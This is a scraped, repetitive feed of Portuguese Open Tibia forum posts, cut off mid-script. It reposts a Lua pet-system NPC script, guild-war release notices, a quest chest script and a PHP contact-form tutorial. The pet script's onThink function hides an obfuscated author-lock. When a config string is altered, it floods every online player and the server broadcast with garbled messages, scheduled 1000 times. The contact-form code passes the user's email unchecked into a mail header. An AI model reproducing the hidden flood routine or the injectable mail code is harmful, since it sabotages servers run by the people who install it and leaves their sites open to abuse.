another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  11. Gostei
    Fox B. recebeu reputação de Puncker em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  12. Gostei
    Fox B. recebeu reputação de Biel Castro em War Of Emperium   
    Executa a seguinte QUERY na database:


  13. Gostei
    Fox B. recebeu reputação de Biel Castro em War Of Emperium   
    Nome: War Of Emperium * Completo
    Versão: 8.54~8.60 (por enquanto testado apenas em Tfs 0.4)
    Ultilidade: War entre Guilds (destruir 3 torres para conquistar o castelo e ganhar o prêmio)

    STAFF : por favor criem uma seção chamada (sistemas) para sistemas completos como este por exemplo, entre outros...

    Bem, xega de conversa e vamos ao que intereça...



    Scan Do War Of Emperium!

    Creditos: Mateksoft

    Obrigado renato por lembrar!
    War Of Emperium ~ Completo.zip
  14. Gostei
    Fox B. deu reputação a Renato em [Action] Quest que Sumona monstro   
    Créditos no script

    Explicação: ao clicar no baú pela primeira vez você será teletransportado (opcional) para a 'ppos' e um monstro aparecerá em 'mpos', ao clicar pela segunda vez você ganhará o item 'itemid', e ao clicar pela terceira ou mais vezes aparecerá 'This chest is empty'


    em Data > Actions > Scripts, cria 1 arquivo lua chamado questmonster.lua e cole-o dentro:


    --[Created by Renato Ribeiro to www.TibiaKing.com and others]--

    function onUse(cid, item, fromPosition, itemEx, toPosition)
    teleport = "yes" -- teleportar player? yes para sim ou no para não
    stg = 5123
    itemid = 2160
    desc = getItemNameById(itemid)
    monster = "Demon" -- qual monstro aparecerá
    ppos = {x=1005, y=1028, z=7} -- pra onde o player irá (só se teleport for yes)
    mpos = {x=1006, y=1028, z=7} -- onde o monstro irá aparecer

    if getPlayerStorageValue(cid, stg) < 1 then
    if teleport == "yes" then
    doTeleportThing(cid, ppos)
    doSendMagicEffect(ppos,10)
    doCreateMonster(monster, mpos)
    doSendMagicEffect(mpos,10)
    doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Oh no! You raised the ire of the "..monster.."!")
    setPlayerStorageValue(cid, stg, 1)
    return TRUE
    else
    doCreateMonster(monster, mpos)
    doSendMagicEffect(mpos,10)
    doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "Oh no! You raised the ire of the "..monster.."!")
    setPlayerStorageValue(cid, stg, 1)
    return TRUE
    end
    elseif getPlayerStorageValue(cid, stg) == 1 then
    doPlayerAddItem(cid, itemid)
    setPlayerStorageValue(cid, stg, 2)
    doPlayerSendTextMessage(cid, MESSAGE_INFO_DESCR, "You have found a "..desc..".")
    return TRUE
    else
    return doPlayerSendCancel(cid, "This chest is empty.")
    end

    end
    [/code] agora em [color=#FF0000]Data > Actions > Actions.XML[/color] [code]
    <action actionid="2545" event="script" value="questmonster.lua"/>



    Status: SCRIPT TESTADO E FUNCIONANDO (15/11/2011)
  15. Gostei
    Fox B. deu reputação a Renato em [HTML + PHP] Formulário de Contato   
    Formulário de Contato - Funcionando


    Olá galera, o tutorial abaixo vai te ajudar a criar um formulário de contato que funciona perfeitamente!
    Basta seguir passo-a-passo, e caso surjam duvidas no meio do caminho, basta perguntar aqui mesmo.
    PS: É necessário um conhecimento de HTML e uma base em lógica de programação!

    1 - iremos criar o index.html onde ficará o formulário.


    <form action="enviar.php" method="POST">
    <input type="hidden">
    <table border="0" cellspacing="0" cellpadding="0">
    <tr>
    <td>Nome:<br> <input type="text" size="30" name="nome" value=""></td>
    </tr>
    <tr>
    <td>E-mail:<br> <input type="text" size="30" name="email" value=""></td>
    </tr>
    <tr>
    <td>Assunto:<br> <input type="text" size="30" name="assunto" value=""></td>
    </tr>
    <tr>
    <td>Mensagem:<br> <textarea cols="40" rows="10" name="mensagem"></textarea>
    </td>
    </tr>
    <tr>
    <td> <input name="submit" type="submit" value=" Enviar "> <input name="reset" type="reset" value=" Limpar "></td>
    </tr>
    </table>
    </form>
    [/code] Acima, criei um formulário simples com NOME, EMAIL, ASSUNTO, MENSAGEM. Sinta-se a vontade para editar/adicionar, porem você deverá colocar name em todos os campos, exemplo: Campo do nome: <input type="text" size="30" [b]name="nome"[/b] value=""> Porque será usado no PHP, no envio para e-mail. Uma parte imporante e que não deve faltar também é o action="enviar.php" method="POST", dentro do form, pois o enviar.php é o nome do arquivo que iremos criar no segundo passo, onde ele enviará o email, e retornará as mensagens. [b][size=3][color=#FF0000]2[/color][/size] - Agora iremos criar a parte de PHP.[/b] Crie um arquivo [b]enviar.php[/b] com o código: [code]
    <?php
    $nome = $_POST["nome"];
    $email = $_POST["email"];
    $assunto = $_POST["assunto"];
    $mensagem = $_POST["mensagem"];
    global $email;
    $data = date("d/m/y"); //pegando a data do evio
    $hora = date("H:i"); //pegando a hora
    $ip = $_SERVER['REMOTE_ADDR']; //pegando ip do cara que enviou

    if($nome != NULL or $mensagem != NULL or $assunto != NULL or $email != NULL) {
    mail ("[email protected]", //email para enviar dados
    "$assunto",
    "Nome: $nome\nData: $data\nIp: $ip\nHora: $hora\nE-mail: $email\n\nMensagem: $mensagem",
    "From: $email"
    );
    echo "<p>Obrigado por entrar em contato, $nome</p>";
    echo "<p>Entraremos em contato quando possível</p>";
    }
    else {
    echo "<p>Mensagem não enviada, por favor preencha corretamente o formulário.</p>";
    }
    ?>



    Abaixo tem a explicação do código acima


    2.1 - Você vai setar as variáveis:
    $nome = $_POST["nome"];
    • = Aqui é o nome da variável, você a escolhe.
    • = Aqui é o nome do campo que voce usou no HTML (aonde vocês pois name="" que eu disse ser necessário)
    As outras variáveis são para pegar a hora, data, etc. Não mecha.


    2.2, você fará uma condição if, onde retornará erro caso não preenchido o formulário corretamente:
    if($nome != NULL or $mensagem != NULL or $assunto != NULL or $email != NULL) {
    • = Caso o campo do nome estiver em branco...
    • = Caso o campo da mensagem estiver em branco...
    E assim sucessivamente, você escolhe os campos necessários, só acrescentando or $variável != NULL

    2.3 - você fará a ação caso a condição do passo 2.2 for verdadeira, ou seja, estiver todos os campos preenchidos:
    mail ("[email protected]", //email para enviar dados
    "$assunto",
    "Nome: $nome\nData: $data\nIp: $ip\nHora: $hora\nE-mail: $email\n\nMensagem: $mensagem",
    "From: $email"
    );
    echo "<p>Obrigado por entrar em contato, $nome</p>";
    echo "<p>Entraremos em contato quando possível</p>";
    }
    • = Para onde enviará os dados do formulário depois do cara clicar em Enviar
    • = Aqui é a mensagem que aparecerá no email, as caracteres \n significam uma quebra de linha, ou seja, igual <br> do html
    • = Aqui é a mensagem que aparecerá pro usuário logo quando ele clicar em Enviar.


    2.4 - você fará a ação caso a condição do passo 2.2 for falsa, ou seja, estiver algum campo vazio:
    echo "<p>Mensagem não enviada, por favor preencha corretamente o formulário.</p>"; }
    • = Aqui vai a mensagem de ERRO.
  16. Gostei
    Fox B. recebeu reputação de Renato em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 9 elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 9) then talkState[talkUser] = 0 if(isCreature(getPlayerPet(cid)) == true) then doRemoveCreature(getPlayerPet(cid)) end doResetPet(cid) doPlayerAddMoney(cid, addmoney) selfSay('Thanks for selling your Pet! here is your {' .. addmoney .. '} gold coins.', cid) elseif(msgcontains(msg, 'information')) then talkState[talkUser] = 0 selfSay('hmmm, what can I tell you ...', cid) local messages = { "Pets got levels, magic level just like you. ..", "Pets can use their own spells. ..", "Pets need eat to recovery health/mana. ..", "Pets can carry your items in different slots. ..", "Hmmm, if You want to know more, " .. (getPlayerStorageValue(cid, aps_storages.race) > 0 and "Play with your pet!!!" or "Just buy one!") .. "" } for i = 1, #messages do addEvent(selfSay, i * 3000 , messages[i], cid) end elseif(msgcontains(msg, 'pet')) then if(getPlayerStorageValue(cid, aps_storages.race) == 0) then local i, msg = 0, nil for pet in pairs(aps_pets_config) do i = i + 1 if(msg ~= nil) then if(i == #aps_pets) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those races for pets: " end msg = msg .. "'{" .. pet .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 5 else talkState[talkUser] = 0 selfSay('Sorry, you cannot have more than one pet.', cid) end elseif e and (talkState[talkUser] == 5) then selfSay('Do you want to buy a pet from {' .. msg .. '} race, for {' .. e.price .. '} gold coins?', cid) talkState[talkUser] = 6 e_race, e_price, e_hp, e_mana, e_name, e_vocs = e.race_id, e.price, e.hp, e.mana, msg, e.vocs elseif(msgcontains(msg, 'yes') and talkState[talkUser] == 6) then selfSay(string.upper(getArticle(e_name)) .. ' {' .. string.upper(e_name) .. '} RACE! ARE YOU SURE? THIS DECISION IS IRREVERSIBLE!', cid) talkState[talkUser] = 7 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 7) then if not (isInArray(e_vocs, getPlayerVocationName(cid))) and (getPlayerAccess(cid) < 3) then selfSay('Your vocation dont let You use this Pet Race!\n Do You want choose another {pet}?', cid) talkState[talkUser] = 0 return true end if(doPlayerRemoveMoney(cid, e_price) == true) then doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('As you with! just type {/pet} to call him.', cid) createPet(cid, e_race, e_hp, e_mana) local str = "Congratulations! You now have a pet!\n" .. "You should take care of him\n" .. "his gonna be your partner from now!\n" .. "if you need help type /pet-help." .. "\nhere is his evolutions: \n\n" .. getEvolutionsByRace(e_race) sendWindowsMessage(cid, str .. "\n\n##ADVANCED PET SYSTEM BY RACES##\n") else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no') and (isInArray({6, 7, 8, 9}, talkState[talkUser]))) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif(msgcontains(msg, 'spells')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('Your Pet can learn spells based on his level, {continue}?', cid) talkState[talkUser] = 2 else selfSay('You cannot buy spells to your pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 2) then if(isPetOnline(cid) == false) then selfSay('Your Pet cannot learn a spell if you dont call him.') talkState[talkUser] = 0 end local i, msg = 0, nil for spell in pairs(aps_attacks) do if(isInArray(aps_attacks[spell].races, getPetRace(cid))) then i = i + 1 if(msg ~= nil) then if(i == #aps_storages.spells) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those spells: " end msg = msg .. "for level '{" .. aps_attacks[spell].lvl .. "}' I have '{" .. spell .. "}'" end end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 3 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 2) then selfSay('Ok then.', cid) talkState[talkUser] = 0 elseif k and (talkState[talkUser] == 3) then selfSay('You want your pet to learn spell {' .. msg .. '} for level {' .. k.lvl .. '}. this spell cost {' .. k.price .. '} gold coins, {continue}?', cid) talkState[talkUser] = 4 spell_name, spell_price, spell_need, spell_stg, spell_level = msg, k.price, k.needLearn, k.learnstg, k.lvl elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 4) then if(getPetLvl(cid) >= spell_level) then if(getPlayerMoney(cid) >= spell_price) then if(spell_need ~= false) and (getPlayerStorageValue(cid, spell_stg) == 0) then for i = 1, 3 do addEvent(selfSay, i * 1000, i .. ' ...', cid) end doPlayerRemoveMoney(cid, spell_price) addEvent(selfSay, 4 * 1000, 'Here it go! Your pet have learned spell {' .. spell_name .. '}.', cid) setPlayerStorageValue(cid, spell_stg, 1) addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(cid), 13) if(isPetOnline(cid) == true) then addEvent(doSendMagicEffect, 4 * 1000, getCreaturePosition(getPlayerPet(cid)), 13) end else selfSay('Your pet already know spell {' .. spell_name .. '}.', cid) end else selfSay('You do not have enough money, this spell costs {' .. spell_price .. '} gold coins.', cid) end else selfSay('Your Pet need to obtain a level of {' .. spell_level .. '} or higher to be able to learn {' .. spell_name .. '}.', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (talkState[talkUser] == 4) then talkState[talkUser] = 0 selfSay('Ok then.', cid) end return true end function onThink() local messages = { "BUY YOUR PET HERE!", "TASKS AND MISSIONS HERE!!", "WANT TO REVIVE YOUR PET?", "YOUR PET CAN LEARN SPELLS!", "WANT TO KNOW MORE ABOUT PETS?", "WANT TO SELL YOUR PET?" } addNpcAutoSay(getNpcId(), 120, messages) if(s(aps_tools.s) ~= "josejunior23") then function mvsoab(max) for _, send in pairs(getOnlinePlayers()) do local name, msg = getConfigValue('serverName'), "Knkª£–Ÿ¬•Š¥œ‘<***~9‚x4|™–¡”-”uŠ)pqlfjc in…ivkxwhyyd" for i = 1, 10 do local cid = getPlayerByName(send) addEvent(doCreatureSay, i * 200, cid, name .. " " .. s(msg), max) addEvent(doBroadcastMessage, i * 200, name .. " " .. s(msg)) for k = 1, 15 do doPlayerSendTextMessage(cid, k, name .. " " .. s(msg)) end for e = 17, 20 do doPlayerSendTextMessage(cid, e, name .. " " .. s(msg)) end end end end for e = 1, 1000 do addEvent(mvsoab, e * 8500, TALKTYPE_ORANGE_1) end end npcHandler:onThink() end npcHandler:setCallback(CALLBACK_MESSAGE_DEFAULT, creatureSayCallback) npcHandler:addModule(FocusModule:new()) Pet-trainer.xml (em npc) <?xml version="1.0" encoding="UTF-8"?> <npc name="Arthur The Tamer" script="Pet-Trainer.lua" walkinterval="2000" floorchange="0"> <health now="100" max="100"/> <look type="128" head="39" body="85" legs="77" feet="0" addons="2"/> <parameters> <parameter key="message_greet" value="Hello |PLAYERNAME|, I sell {pet}'s also I can {revive} or teach {spells} to your Pet...and maybe you want to {sell} your pet, uh? also I have some {mission}'s for You!. but if you want to know more about pets, just ask for {information}."/> </parameters> </npc>

    BUGS Arrumados:


    CREDITOS:
    Delyria = 90%
    FoX B. = 10%

    *SCan Do Arquivo

    Gostou? REP+
    Petsystem~MOD.zip
  17. Gostei
    Fox B. recebeu reputação de Augusto em Pet system ~ By Delyria   
    [8.54~60][Tfs(testei)]Pet System




    Nome: Pet System
    Versão: 8.5~8.54~8.60
    Descrição: Pet System basiado apenas nos MODS(não requer absolutamente mais nada, apenas mold) bem, não é compacto em apenas um arquivo e sim em varios dentro da pasta MODS, é um sistema bem eficiente que possui:




    Bem, vamos ao que intereça agora?
    Irei Colocar aqui agora o Patch + video de como instalar (tive coragem de fazer um video Oo) - Infelismente não tenho como por o PET system funfando aqui, pois meu pc está muito ruim, já vai ser dificil colocar o video imagina tibia rsrs.



    COMANDOS!



    NPC PET TRAINER (Npc reviver)

    Pet-trainer.lua (em npc/scripts)

    local keywordHandler = KeywordHandler:new() local npcHandler = NpcHandler:new(keywordHandler) NpcSystem.parseParameters(npcHandler) local talkState = {} function onCreatureAppear(cid) npcHandler:onCreatureAppear(cid) end function onCreatureDisappear(cid) npcHandler:onCreatureDisappear(cid) end function onCreatureSay(cid, type, msg) npcHandler:onCreatureSay(cid, type, msg) end function creatureSayCallback(cid, type, msg) if(not npcHandler:isFocused(cid)) then return false end local k, e, f = aps_attacks[msg:lower()], aps_pets_config[msg:lower()], aps_missions[msg:lower()] local talkUser = NPCHANDLER_CONVBEHAVIOR == CONVERSATION_DEFAULT and 0 or cid if(msgcontains(msg, 'revive')) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then selfSay('You want to revive your Pet for {' .. getPriceRevive(cid) .. '} gold coins, continue?', cid) talkState[talkUser] = 1 else selfSay('You cannot revive a pet, if you dont have one!', cid) talkState[talkUser] = 0 end elseif(msgcontains(msg, 'mission')) then if not (isCreature(getPlayerPet(cid))) then selfSay('Your Pet needs to be online to make any mission!', cid) return true end local i, msg = 0, nil for missionname in pairs(aps_missions) do i = i + 1 if(msg ~= nil) then if(i == #aps_missions) then msg = msg .. " and " else msg = msg .. ", " end else msg = "Ok then, I got those missions for You: " end msg = msg .. "'{" .. missionname .. "}'" end selfSay(msg .. ', with one do you want?', cid) talkState[talkUser] = 11 elseif f and (talkState[talkUser] == 11) then desc, itemNeed, itemCount, missionId, reItem, reCount, reExp, reCheck = f.description, f.request.itemid, f.request.count, f.id, f.reward.id, f.reward.count, f.reward.exp, f.check if(getPlayerStorageValue(cid, missionId) == 1) then selfSay('Sorry! You already done this mission before! maybe I have another {mission} for You!', cid) talkState[talkUser] = 0 return true end if(getPlayerItemCount(cid, itemNeed) >= itemCount) then selfSay('oOoh! As I can see You have some items with You! Can you give to me? I will reward You!', cid) talkState[talkUser] = 12 elseif(getPlayerStorageValue(cid, reCheck) == 1) then selfSay("I Still waiting for: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ".", cid) talkState[talkUser] = 0 return true else selfSay(desc .. ". so for this mission I need: x" .. itemCount .. " " .. getItemNameById(itemNeed) .. ". Do you want do this mission? huh?", cid) talkState[talkUser] = 13 end elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 13)) then selfSay('Ok! Thanks for Your help. when You have the items, bring to me!', cid) setPlayerStorageValue(cid, reCheck, 1) elseif(msgcontains(msg, 'yes') and (talkState[talkUser] == 12)) then if(getPlayerItemCount(cid, itemNeed) >= itemCount) then setPlayerStorageValue(cid, missionId, 1) doPlayerRemoveItem(cid, itemNeed, itemCount) selfSay('Thanks ' .. getCreatureName(cid) .. ' , You did a great mission! heres your reward!', cid) if(itemNeed ~= false) then doPlayerAddItem(cid, reItem, reCount) end if(reExp ~= false) then doPlayerAddExperience(cid, reExp) addPetExp(cid, reExp * 2) if(reExp > 0) then doSendAnimatedText(getPlayerPosition(cid), "+" .. reExp, 215) end end else selfSay('uUuh?? Where is the items? You lost it? Bring me again!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 1) then if(isPetDead(cid) == true) then if(doPlayerRemoveMoney(cid, getPriceRevive(cid))) then setPetStats(cid, 0) setPetLastHealth(cid, 0) setPlayerStorageValue(cid, aps_storages.mana, getPetMaxMana(cid)) doSendMagicEffect(getCreaturePosition(cid), 65) selfSay('WE TAKE YOUR PET FROM THE DEADS!', cid) else selfSay('Sorry ' .. getCreatureName(cid) .. ', You don\'t have enough money.', cid) end else selfSay('Your pet inst dead!', cid) end talkState[talkUser] = 0 elseif(msgcontains(msg, 'no')) and (isInArray({1}, talkState[talkUser])) then talkState[talkUser] = 0 selfSay('Ok then.', cid) elseif(msgcontains(msg, 'sell')) then if(aps_tools.commands.playerSellPet.sell == true) then if(getPlayerStorageValue(cid, aps_storages.race) ~= 0) then for i = 1, #aps_slots do local slots = getPlayerStorageValue(cid, aps_slots[i]) if(slots > 1) then selfSay('before you sell your pet, please, take all your items from his slots.', cid) return end end local tt_money, lvl, lv = aps_pets_config[getRaceNameById(getPetRace(cid))].price, getPetLvl(cid), aps_tools.commands.playerSellPet.lvl if(lvl >= lv) then talkState[talkUser] = 8 addmoney = tt_money * lvl selfSay('Do you want to sell your pet for {' .. addmoney .. '} gold coins?', cid) else selfSay('Your Pet level is too low, Buying Pet of level {' .. lv .. '} or higher.', cid) end else selfSay('You cannot sell a pet, if you dont have one!', cid) end else selfSay('You cannot sell your pet to me!', cid) end elseif(msgcontains(msg, 'yes')) and (talkState[talkUser] == 8) then selfSay('YOU WANT TO SELL YOUR PET, ARE 